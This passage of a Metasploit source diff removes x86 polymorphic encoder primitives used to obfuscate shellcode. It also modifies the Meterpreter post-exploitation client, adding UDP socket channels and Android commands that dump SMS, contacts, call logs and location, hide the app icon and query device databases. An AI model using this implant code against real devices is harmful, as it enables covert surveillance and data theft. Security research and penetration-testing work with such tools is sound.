#{machine.resolve_value( value )}", - "and #{machine.variable_value( variable )}, #{machine.resolve_value( value )}", - "not #{machine.variable_value( variable )}", - "and #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" - ] - end - ) - - # - # Create the 'goto' primitive. The first param is a destination block to jump to. - # - _create_primitive( 'goto', - ::Proc.new do | block, machine, destination | - offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) - if( ( offset > 0 and offset > 127 ) or ( offset < 0 and offset < -127 ) ) - raise UnallowedPermutation - end - [ - # short relative jump - "db 0xEB db #{ "0x%02X" % [ offset & 0xFF ] }" - ] - end, - ::Proc.new do | block, machine, destination | - offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) - [ - # near relative jump - "db 0xE9 dd #{ "0x%08X" % [ offset & 0xFFFFFFFF ] }" - ] - end - ) - - # - # Create the 'add' primitive. The first param it the variable which will be added to the second - # param, which may either be a literal number value, a variables assigned register or a block - # name, in which case the block offset will be used. - # - _create_primitive( 'add', - ::Proc.new do | block, machine, variable, value | - if( machine.variable_exist?( value ) ) - raise UnallowedPermutation - end - [ - "lea #{machine.variable_value( variable )}, [ #{machine.variable_value( variable )} + #{machine.resolve_value( value )} ]" - ] - end, - ::Proc.new do | block, machine, variable, value | - [ - "push #{machine.resolve_value( value )}", - "add #{machine.variable_value( variable )}, [esp]", - "pop #{machine.variable_value( 'temp' )}" - ] - end, - ::Proc.new do | block, machine, variable, value | - [ - "add #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" - ] - end, - ::Proc.new do | block, machine, variable, value | - if( machine.variable_exist?( value ) ) - raise UnallowedPermutation - end - [ - "sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }" - ] - end - # ::Proc.new do | block, machine, variable, value | - # if( machine.variable_exist?( value ) ) - # raise UnallowedPermutation - # end - # [ - # "push #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }", - # "pop #{machine.variable_value( 'temp' )}", - # "not #{machine.variable_value( 'temp' )}", - # "add #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" - # ] - # end, - # ::Proc.new do | block, machine, variable, value | - # if( machine.variable_exist?( value ) ) - # raise UnallowedPermutation - # end - # [ - # "xor #{machine.variable_value( 'temp' )}, #{machine.variable_value( 'temp' )}", - # "mov #{machine.variable_value( 'temp', 16 )}, #{ "0x%04X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFF ] }", - # "not #{machine.variable_value( 'temp', 16 )}", - # "add #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" - # ] - # end, - ) - - # - # Create the 'set' primitive. The first param it the variable which will be set. the second - # param is the value to set the variable to (a variable, block or literal). - # - _create_primitive( 'set', - ::Proc.new do | block, machine, variable, value | - if( machine.variable_exist?( value ) ) - raise UnallowedPermutation - end - [ - "push #{ "0x%08X" % [ ~machine.resolve_value( value ) & 0xFFFFFFFF ] }", - "pop #{machine.variable_value( variable )}", - "not #{machine.variable_value( variable )}" - ] - end, - ::Proc.new do | block, machine, variable, value | - if( machine.variable_exist?( value ) ) - raise UnallowedPermutation - end - if( machine.resolve_value( value, WORD ) > 0xFFFF ) - raise UndefinedPermutation - end - [ - "xor #{machine.variable_value( variable )}, #{machine.variable_value( variable )}", - "mov #{machine.variable_value( variable, WORD )}, #{ "0x%04X" % [ ~machine.resolve_value( value, WORD ) & 0xFFFF ] }", - "not #{machine.variable_value( variable, WORD )}" - ] - end, - ::Proc.new do | block, machine, variable, value | - [ - "push #{machine.resolve_value( value )}", - "pop #{machine.variable_value( variable )}" - ] - end, - ::Proc.new do | block, machine, variable, value | - [ - "mov #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" - ] - end, - ::Proc.new do | block, machine, variable, value | - if( machine.variable_exist?( value ) ) - raise UnallowedPermutation - end - if( machine.resolve_value( value, WORD ) > 0xFFFF ) - raise UndefinedPermutation - end - [ - "xor #{machine.variable_value( variable )}, #{machine.variable_value( variable )}", - "mov #{machine.variable_value( variable, WORD )}, #{ "0x%04X" % [ machine.resolve_value( value, WORD ) & 0xFFFF ] }" - ] - end, - ::Proc.new do | block, machine, variable, value | - if( machine.variable_exist?( value ) ) - raise UnallowedPermutation - end - dword = machine.make_safe_dword( machine.resolve_value( value ) ) - [ - "mov #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword ] }", - "sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword - machine.resolve_value( value ) ] }" - ] - end, - ::Proc.new do | block, machine, variable, value | - if( machine.variable_exist?( value ) ) - raise UnallowedPermutation - end - dword = machine.make_safe_dword( machine.resolve_value( value ) ) - [ - "mov #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword - machine.resolve_value( value ) ] }", - "add #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~dword & 0xFFFFFFFF ] }", - "not #{machine.variable_value( variable )}" - ] - end - ) - - # - # Create the 'load' primitive. The first param it the variable which will be set. The second - # param is the value (either a variable or literal) to load from. the third param is the size - # of the load operation, either DWORD, WORD or BYTE. - # - _create_primitive( 'load', - ::Proc.new do | block, machine, variable, value, size | - result = nil - if( size == Rex::Poly::Machine::DWORD ) - result = [ "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]" ] - elsif( size == Rex::Poly::Machine::WORD ) - result = [ "movzx #{machine.variable_value( variable )}, word [#{machine.resolve_value( value )}]" ] - elsif( size == Rex::Poly::Machine::BYTE ) - result = [ "movzx #{machine.variable_value( variable )}, byte [#{machine.resolve_value( value )}]" ] - else - raise InvalidPermutation - end - result - end, - ::Proc.new do | block, machine, variable, value, size | - result = nil - if( size == Rex::Poly::Machine::DWORD ) - # we raise and UnallowedPermutation here as this permutation should only satisfy requests for - # sizes of WORD or BYTE, any DWORD requests will be satisfied by the above permutation (otherwise - # we would just be duplicating a 'mov dest, [src]' sequence which is the same as above. - raise UnallowedPermutation - elsif( size == Rex::Poly::Machine::WORD ) - result = [ - "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]", - "shl #{machine.variable_value( variable )}, 16", - "shr #{machine.variable_value( variable )}, 16" - ] - elsif( size == Rex::Poly::Machine::BYTE ) - result = [ - "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]", - "shl #{machine.variable_value( variable )}, 24", - "shr #{machine.variable_value( variable )}, 24" - ] - else - raise InvalidPermutation - end - result - end, - ::Proc.new do | block, machine, variable, value, size | - result = nil - if( size == Rex::Poly::Machine::DWORD ) - result = [ - "push [#{machine.resolve_value( value )}]", - "pop #{machine.variable_value( variable )}" - ] - elsif( size == Rex::Poly::Machine::WORD ) - result = [ - "push [#{machine.resolve_value( value )}]", - "pop #{machine.variable_value( variable )}", - "shl #{machine.variable_value( variable )}, 16", - "shr #{machine.variable_value( variable )}, 16" - ] - elsif( size == Rex::Poly::Machine::BYTE ) - result = [ - "push [#{machine.resolve_value( value )}]", - "pop #{machine.variable_value( variable )}", - "shl #{machine.variable_value( variable )}, 24", - "shr #{machine.variable_value( variable )}, 24" - ] - else - raise InvalidPermutation - end - result - end - ) - - # - # Create the 'store' primitive. - # - _create_primitive( 'store', - ::Proc.new do | block, machine, variable, value, size | - result = nil - if( size == Rex::Poly::Machine::DWORD ) - result = [ "mov [#{machine.variable_value( variable )}], #{machine.resolve_value( value )}" ] - elsif( size == Rex::Poly::Machine::WORD ) - result = [ "mov word [#{machine.variable_value( variable )}], #{machine.resolve_value( value, WORD )}" ] - elsif( size == Rex::Poly::Machine::BYTE ) - if( machine.resolve_value( value, BYTE ).nil? ) - # so long as we cant resolve the variable to an 8bit register value (AL,BL,CL,DL) we must raise - # an UndefinedPermutation exception (this will happen when the variable has been assigned to ESI, - # EDI, EBP or ESP which dont have a low byte representation) - raise UndefinedPermutation - end - result = [ "mov byte [#{machine.variable_value( variable )}], #{machine.resolve_value( value, BYTE )}" ] - else - raise InvalidPermutation - end - result - end, - ::Proc.new do | block, machine, variable, value, size | - result = nil - if( size == Rex::Poly::Machine::DWORD ) - result = [ - "push #{machine.resolve_value( value )}", - "pop [#{machine.variable_value( variable )}]" - ] - elsif( size == Rex::Poly::Machine::WORD ) - result = [ - "push #{machine.resolve_value( value, WORD )}", - "pop word [#{machine.variable_value( variable )}]" - ] - else - # we can never do this permutation for BYTE size (or any other size) - raise UnallowedPermutation - end - result - end - ) - end - - end - - end - -end diff --git a/lib/rex/poly/register.rb b/lib/rex/poly/register.rb deleted file mode 100644 index 4e8271fe3b..0000000000 --- a/lib/rex/poly/register.rb +++ /dev/null @@ -1,101 +0,0 @@ -# -*- coding: binary -*- -module Rex -module Poly - -### -# -# This class represents a register that is used in the context of one or more -# logical blocks. The register number is assigned on demand or is statically -# specified if passed in to the constructor. -# -### -class LogicalRegister - - require 'rex/poly/register/x86' - - # - # This class method is meant to return an array of register numbers that - # can be used to pool from. Architecture specific classes must implement - # this method on their own. - # - def self.regnum_set - nil - end - - # - # Initializes the register's name and number, if assigned. If a register - # number is specified, the instance will be assumed to have a statically - # assigned register number. The name is meant to be used as a symbolic - # variable name, such as 'counter' or 'key'. - # - def initialize(name, regnum = nil) - @name = name - @regnum = regnum - @static = (regnum) ? true : false - end - - # - # Returns true if the register number should be assumed static. - # - def static? - @static - end - - # - # Sets the register number to the value specified. If the register number - # is declared static, a RuntimeError exception is raised. - # - def regnum=(val) - raise RuntimeError, "Attempted to assign regnum to static register" if (static?) - - @regnum = val - end - - # - # Returns the register number that has currently been assigned. If no - # register number is assigned, an InvalidRegisterError exception is raised. - # This exception can be used to assign the LogicalRegister instance a - # register number on demand. - # - def regnum - raise InvalidRegisterError.new(self), "Register has not been assigned" if (@regnum == nil) - - @regnum - end - - # - # Returns the variable (friendly) name for the register that was passed to - # the constructor. - # - attr_reader :name - -protected - -end - -### -# -# An exception that is raised when the regnum method is accessed on a -# LogicalRegister that does not currently have a regnum assigned to it. -# -### -class InvalidRegisterError < RuntimeError - - # - # Initializes the exception with the instance that lead to the generation - # of the exception such that it can be assigned a register number as - # needed. - # - def initialize(reg) - @reg = reg - end - - # - # The LogicalRegister instance that generated the exception. - # - attr_reader :reg - -end - -end -end diff --git a/lib/rex/poly/register/x86.rb b/lib/rex/poly/register/x86.rb deleted file mode 100644 index ea21a30a19..0000000000 --- a/lib/rex/poly/register/x86.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- -require 'rex/arch/x86' - -module Rex -module Poly - -### -# -# This class encapsulates logical registers for the X86 architecture. -# -### -class LogicalRegister::X86 < LogicalRegister - - # - # The default set of register numbers that can be used on x86. - # - def self.regnum_set - [ - Rex::Arch::X86::EAX, - Rex::Arch::X86::EBX, - Rex::Arch::X86::ECX, - Rex::Arch::X86::EDX, - Rex::Arch::X86::ESI, - Rex::Arch::X86::EDI, - Rex::Arch::X86::EBP, - Rex::Arch::X86::ESP - ] - end - - # - # Calls the base class constructor after translating the register name to - # number. - # - def initialize(name, register = nil) - super(name, register ? Rex::Arch::X86.reg_number(register) : nil) - end - -end - -end -end diff --git a/lib/rex/post/gen.pl b/lib/rex/post/gen.pl deleted file mode 100644 index 42a56d9a7d..0000000000 --- a/lib/rex/post/gen.pl +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/perl -use strict; - - -foreach my $f ('atime', 'blockdev?', 'chardev?', 'ctime', 'directory?', - 'executable?', 'executable_real?', 'file?', 'ftype', 'grpowned?', - 'mtime', 'owned?', 'pipe?', 'readable?', 'readable_real?', 'setuid?', - 'setgid?', 'size', 'socket?', 'sticky?', 'symlink?', 'writeable?', - 'writeable_real?', 'zero?') { - - my $t = "\t"; - print "${t}def File.$f(name)\n\t${t}stat(name).$f\n${t}end\n"; -} diff --git a/lib/rex/post/meterpreter.rb b/lib/rex/post/meterpreter.rb index 9c3b98160a..608880264d 100644 --- a/lib/rex/post/meterpreter.rb +++ b/lib/rex/post/meterpreter.rb @@ -1,5 +1,6 @@ # -*- coding: binary -*- require 'metasploit-payloads' +require 'metasploit_payloads/mettle' require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/ui/console' diff --git a/lib/rex/post/meterpreter/channel.rb b/lib/rex/post/meterpreter/channel.rb index d693e3bf74..49d9f36e38 100644 --- a/lib/rex/post/meterpreter/channel.rb +++ b/lib/rex/post/meterpreter/channel.rb @@ -113,7 +113,9 @@ class Channel # Transmit the request and wait for the response response = client.send_request(request) - cid = response.get_tlv(TLV_TYPE_CHANNEL_ID).value + cid = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) + + return nil unless cid # Create the channel instance channel = klass.new(client, cid, type, flags) @@ -141,7 +143,9 @@ class Channel if (cid and client) client.add_channel(self) end - ObjectSpace.define_finalizer( self, self.class.finalize(self.client, self.cid) ) + + # Ensure the remote object is closed when all references are removed + ObjectSpace.define_finalizer(self, self.class.finalize(client, cid)) end def self.finalize(client,cid) @@ -288,8 +292,11 @@ class Channel end def _close(addends = nil) - self.class._close(self.client, self.cid, addends) - self.cid = nil + unless self.cid.nil? + ObjectSpace.undefine_finalizer(self) + self.class._close(self.client, self.cid, addends) + self.cid = nil + end end # # Enables or disables interactive mode. diff --git a/lib/rex/post/meterpreter/channels/datagram.rb b/lib/rex/post/meterpreter/channels/datagram.rb new file mode 100644 index 0000000000..fc8c2e3323 --- /dev/null +++ b/lib/rex/post/meterpreter/channels/datagram.rb @@ -0,0 +1,75 @@ +# -*- coding: binary -*- + +require 'rex/io/datagram_abstraction' +require 'rex/post/meterpreter/channels/socket_abstraction' + +module Rex +module Post +module Meterpreter + +### +# +# Stream +# ------ +# +# This class represents a channel that is streaming. This means +# that sequential data is flowing in either one or both directions. +# +### +class Datagram < Rex::Post::Meterpreter::Channel + + include Rex::Post::Meterpreter::SocketAbstraction + include Rex::IO::DatagramAbstraction + + class << self + def cls + return CHANNEL_CLASS_DATAGRAM + end + end + + module SocketInterface + include Rex::Post::Meterpreter::SocketAbstraction::SocketInterface + def type? + 'udp' + end + + def recvfrom_nonblock(length,flags = nil) + return [super(length, flags)[0], super(length, flags)[0]] + end + + def send(buf, flags, saddr) + channel.send(buf, flags, saddr) + end + end + + def dio_write_handler(packet, data) + @recvd ||= [] + @recvd << [packet, data] + peerhost = packet.get_tlv_value( + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PEER_HOST + ) + peerport = packet.get_tlv_value( + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PEER_PORT + ) + + if peerhost && peerport + # Maxlen here is 65507, to ensure we dont overflow, we need to write twice + # If the other side has a full 64k, handle by splitting up the datagram and + # writing multiple times along with the sockaddr. Consumers calling recvfrom + # repeatedly will buffer up all the pieces. + while data.length > 65507 + rsock.syswrite(data[0..65506]) + rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport)) + data = data - data[0..65506] + end + rsock.syswrite(data) + rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport)) + return true + else + return false + end + end + +end + +end; end; end diff --git a/lib/rex/post/meterpreter/channels/socket_abstraction.rb b/lib/rex/post/meterpreter/channels/socket_abstraction.rb new file mode 100644 index 0000000000..091ed49d3d --- /dev/null +++ b/lib/rex/post/meterpreter/channels/socket_abstraction.rb @@ -0,0 +1,151 @@ +# -*- coding: binary -*- + +# require 'rex/io/socket_abstraction' +require 'rex/post/meterpreter/channel' + +module Rex +module Post +module Meterpreter + +### +# +# Abstraction +# ------ +# +# This class represents a channel that is streaming. This means +# that sequential data is flowing in either one or both directions. +# +### +module SocketAbstraction + + module SocketInterface + include Rex::Socket + + def getsockname + return super if not channel + # Find the first host in our chain (our address) + hops = 0 + csock = channel.client.sock + while(csock.respond_to?('channel')) + csock = csock.channel.client.sock + hops += 1 + end + _address_family,caddr,_cport = csock.getsockname + address_family,raddr,_rport = csock.getpeername_as_array + _maddr,mport = [ channel.params.localhost, channel.params.localport ] + [ address_family, "#{caddr}#{(hops > 0) ? "-_#{hops}_" : ""}-#{raddr}", "#{mport}" ] + end + + def getpeername + return super if not channel + maddr,mport = [ channel.params.peerhost, channel.params.peerport ] + ::Socket.sockaddr_in(mport, maddr) + end + + %i{localhost localport peerhost peerport}.map do |meth| + define_method(meth) { + return super if not channel + channel.params.send(meth) + } + end + + def close + super + channel.cleanup_abstraction + channel.close + end + + attr_accessor :channel + end + + # + # Simple mixin for lsock in order to help avoid a ruby interpreter issue with ::Socket.pair + # Instead of writing to the lsock, reading from the rsock and then writing to the channel, + # we use this mixin to directly write to the channel. + # + # Note: This does not work with OpenSSL as OpenSSL is implemented natively and requires a real + # socket to write to and we cant intercept the sockets syswrite at a native level. + # + # Note: The deadlock only seems to effect the Ruby build for cygwin. + # + module DirectChannelWrite + + def syswrite(buf) + channel._write(buf) + end + + attr_accessor :channel + end + + ## + # + # Constructor + # + ## + + # + # Passes the initialization information up to the base class + # + def initialize(client, cid, type, flags) + # sf: initialize_abstraction() before super() as we can get a scenario where dio_write_handler() is called + # with data to write to the rsock but rsock has not yet been initialized. This happens if the channel + # is registered (client.add_channel(self) in Channel.initialize) to a session and a 'core_channel_write' + # request comes in before we have called self.initialize_abstraction() + initialize_abstraction + super(client, cid, type, flags) + end + + ## + # + # Remote I/O handlers + # + ## + + # + # Performs a write operation on the right side of the local stream. + # + def dio_write_handler(packet, data) + rv = Rex::ThreadSafe.select(nil, [rsock], nil, 0.01) + if(rv) + rsock.syswrite(data) + return true + else + return false + end + end + + # + # Performs a close operation on the right side of the local stream. + # + def dio_close_handler(packet) + rsock.close + + return super(packet) + end + + # + # Cleans up the stream abstraction. + # + def cleanup + super + + cleanup_abstraction + end + + # + # Wrap the _write() call in order to catch some common, but harmless Windows exceptions + # + def _write(*args) + begin + super(*args) + rescue ::Rex::Post::Meterpreter::RequestError => e + case e.code + when 10000 .. 10100 + raise ::Rex::ConnectionError.new + end + end + end + +end + +end; end; end diff --git a/lib/rex/post/meterpreter/channels/stream.rb b/lib/rex/post/meterpreter/channels/stream.rb index 95c1e48e6e..09e1f86b3c 100644 --- a/lib/rex/post/meterpreter/channels/stream.rb +++ b/lib/rex/post/meterpreter/channels/stream.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'rex/io/stream_abstraction' -require 'rex/post/meterpreter/channel' +require 'rex/post/meterpreter/channels/socket_abstraction' module Rex module Post @@ -18,6 +18,7 @@ module Meterpreter ### class Stream < Rex::Post::Meterpreter::Channel + include Rex::Post::Meterpreter::SocketAbstraction include Rex::IO::StreamAbstraction class << self @@ -26,61 +27,13 @@ class Stream < Rex::Post::Meterpreter::Channel end end - ## - # - # Constructor - # - ## - - # - # Passes the initialization information up to the base class - # - def initialize(client, cid, type, flags) - # sf: initialize_abstraction() before super() as we can get a scenario where dio_write_handler() is called - # with data to write to the rsock but rsock has not yet been initialized. This happens if the channel - # is registered (client.add_channel(self) in Channel.initialize) to a session and a 'core_channel_write' - # request comes in before we have called self.initialize_abstraction() - initialize_abstraction - super(client, cid, type, flags) - end - - ## - # - # Remote I/O handlers - # - ## - - # - # Performs a write operation on the right side of the local stream. - # - def dio_write_handler(packet, data) - rv = Rex::ThreadSafe.select(nil, [rsock], nil, 0.01) - if(rv) - rsock.write(data) - return true - else - return false + module SocketInterface + include Rex::Post::Meterpreter::SocketAbstraction::SocketInterface + def type? + 'tcp' end end - # - # Performs a close operation on the right side of the local stream. - # - def dio_close_handler(packet) - rsock.close - - return super(packet) - end - - # - # Cleans up the stream abstraction. - # - def cleanup - super - - cleanup_abstraction - end - end end; end; end diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 24472fe8bb..4fc92b2aa6 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -132,7 +132,7 @@ class Client # The SSL certificate is being passed down as a file path if opts[:ssl_cert] - if ! ::File.exists? opts[:ssl_cert] + if ! ::File.exist? opts[:ssl_cert] elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored") else # Load the certificate the same way that SslTcpServer does it diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index b751768348..d951181711 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -13,7 +13,7 @@ require 'msf/core/payload/uuid' require 'rex/payloads/meterpreter/uri_checksum' # certificate hash checking -require 'rex/parser/x509_certificate' +require 'rex/socket/x509_certificate' module Rex module Post @@ -469,7 +469,7 @@ class ClientCore < Extension end if client.platform =~ /linux/ - if writable_dir.blank? + if writable_dir.to_s.strip.empty? writable_dir = tmp_folder end @@ -599,15 +599,15 @@ class ClientCore < Extension def shutdown request = Packet.create_request('core_shutdown') - # If this is a standard TCP session, send and return - if not client.passive_service - self.client.send_packet(request) - else + if client.passive_service # If this is a HTTP/HTTPS session we need to wait a few seconds # otherwise the session may not receive the command before we # kill the handler. This could be improved by the server side # sending a reply to shutdown first. self.client.send_packet_wait_response(request, 10) + else + # If this is a standard TCP session, send and forget. + self.client.send_packet(request) end true end @@ -644,6 +644,16 @@ class ClientCore < Extension scheme = opts[:transport].split('_')[1] url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" + if opts[:luri] && opts[:luri].length > 0 + if opts[:luri][0] != '/' + url << '/' + end + url << opts[:luri] + if url[-1] == '/' + url = url[0...-1] + end + end + if opts[:comm_timeout] request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) end @@ -676,7 +686,7 @@ class ClientCore < Extension request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua]) if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert] - hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert]) + hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert]) request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) end @@ -752,7 +762,7 @@ class ClientCore < Extension def tmp_folder tmp = client.sys.config.getenv('TMPDIR') - if tmp.blank? + if tmp.to_s.strip.empty? tmp = '/tmp' end diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index a19a850b78..af80e8645d 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -66,20 +66,20 @@ class Android < Extension end def device_shutdown(n) - request = Packet.create_request('device_shutdown') + request = Packet.create_request('android_device_shutdown') request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) response = client.send_request(request) response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value end - + def set_audio_mode(n) - request = Packet.create_request('set_audio_mode') + request = Packet.create_request('android_set_audio_mode') request.add_tlv(TLV_TYPE_AUDIO_MODE, n) response = client.send_request(request) end def interval_collect(opts) - request = Packet.create_request('interval_collect') + request = Packet.create_request('android_interval_collect') request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]]) request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]]) request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout]) @@ -182,7 +182,7 @@ class Android < Extension def dump_sms sms = [] - request = Packet.create_request('dump_sms') + request = Packet.create_request('android_dump_sms') response = client.send_request(request) response.each(TLV_TYPE_SMS_GROUP) do |p| @@ -199,7 +199,7 @@ class Android < Extension def dump_contacts contacts = [] - request = Packet.create_request('dump_contacts') + request = Packet.create_request('android_dump_contacts') response = client.send_request(request) response.each(TLV_TYPE_CONTACT_GROUP) do |p| @@ -214,7 +214,7 @@ class Android < Extension def geolocate loc = [] - request = Packet.create_request('geolocate') + request = Packet.create_request('android_geolocate') response = client.send_request(request) loc << { @@ -227,7 +227,7 @@ class Android < Extension def dump_calllog log = [] - request = Packet.create_request('dump_calllog') + request = Packet.create_request('android_dump_calllog') response = client.send_request(request) response.each(TLV_TYPE_CALLLOG_GROUP) do |p| @@ -243,13 +243,19 @@ class Android < Extension end def check_root - request = Packet.create_request('check_root') + request = Packet.create_request('android_check_root') response = client.send_request(request) response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end + def hide_app_icon + request = Packet.create_request('android_hide_app_icon') + response = client.send_request(request) + response.get_tlv_value(TLV_TYPE_ICON_NAME) + end + def activity_start(uri) - request = Packet.create_request('activity_start') + request = Packet.create_request('android_activity_start') request.add_tlv(TLV_TYPE_URI_STRING, uri) response = client.send_request(request) if response.get_tlv(TLV_TYPE_ACTIVITY_START_RESULT).value @@ -259,8 +265,14 @@ class Android < Extension end end + def set_wallpaper(data) + request = Packet.create_request('android_set_wallpaper') + request.add_tlv(TLV_TYPE_WALLPAPER_DATA, data) + response = client.send_request(request) + end + def send_sms(dest, body, dr) - request = Packet.create_request('send_sms') + request = Packet.create_request('android_android_send_sms') request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest) request.add_tlv(TLV_TYPE_SMS_BODY, body) request.add_tlv(TLV_TYPE_SMS_DR, dr) @@ -277,7 +289,7 @@ class Android < Extension end def wlan_geolocate - request = Packet.create_request('wlan_geolocate') + request = Packet.create_request('android_wlan_geolocate') response = client.send_request(request, 30) networks = [] response.each(TLV_TYPE_WLAN_GROUP) do |p| @@ -289,6 +301,33 @@ class Android < Extension end networks end + + def sqlite_query(dbname, query, writeable) + request = Packet.create_request('android_sqlite_query') + request.add_tlv(TLV_TYPE_SQLITE_NAME, dbname) + request.add_tlv(TLV_TYPE_SQLITE_QUERY, query) + request.add_tlv(TLV_TYPE_SQLITE_WRITE, writeable) + response = client.send_request(request, 30) + error_msg = response.get_tlv(TLV_TYPE_SQLITE_ERROR) + raise "SQLiteException: #{error_msg.value}" if error_msg + + unless writeable + result = { + columns: [], + rows: [] + } + data = response.get_tlv(TLV_TYPE_SQLITE_RESULT_GROUP) + unless data.nil? + columns = data.get_tlv(TLV_TYPE_SQLITE_RESULT_COLS) + result[:columns] = columns.get_tlv_values(TLV_TYPE_SQLITE_VALUE) + data.each(TLV_TYPE_SQLITE_RESULT_ROW) do |row| + result[:rows] << row.get_tlv_values(TLV_TYPE_SQLITE_VALUE) + end + end + result + end + end + end end end diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index c0dd5ce58e..742a7b7d37 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -81,6 +81,19 @@ TLV_TYPE_URI_STRING = TLV_META_TYPE_STRING | (TLV_EXTENSIONS TLV_TYPE_ACTIVITY_START_RESULT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9102) TLV_TYPE_ACTIVITY_START_ERROR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9103) +TLV_TYPE_ICON_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9104) + +TLV_TYPE_SQLITE_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9080) +TLV_TYPE_SQLITE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9081) +TLV_TYPE_SQLITE_QUERY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9082) +TLV_TYPE_SQLITE_RESULT_COLS = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9083) +TLV_TYPE_SQLITE_RESULT_ROW = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9084) +TLV_TYPE_SQLITE_VALUE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9085) +TLV_TYPE_SQLITE_ERROR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9086) +TLV_TYPE_SQLITE_WRITE = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9087) + +TLV_TYPE_WALLPAPER_DATA = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 9201) + end end end diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index 609f2ab5e4..ef89b2b248 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -41,7 +41,7 @@ class Clipboard def set_text(text) request = Packet.create_request('extapi_clipboard_set_data') - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, text) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, text) response = client.send_request(request) diff --git a/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb b/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb index fde12f624e..a69cfdfb07 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb @@ -31,7 +31,7 @@ class Wmi def query(query, root = nil) request = Packet.create_request('extapi_wmi_query') - request.add_tlv(TLV_TYPE_EXT_WMI_DOMAIN, root) unless root.blank? + request.add_tlv(TLV_TYPE_EXT_WMI_DOMAIN, root) unless root.to_s.strip.empty? request.add_tlv(TLV_TYPE_EXT_WMI_QUERY, query) response = client.send_request(request) diff --git a/lib/rex/post/meterpreter/extensions/powershell/powershell.rb b/lib/rex/post/meterpreter/extensions/powershell/powershell.rb new file mode 100644 index 0000000000..d4949d465c --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/powershell/powershell.rb @@ -0,0 +1,83 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/powershell/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Powershell + +### +# +# This 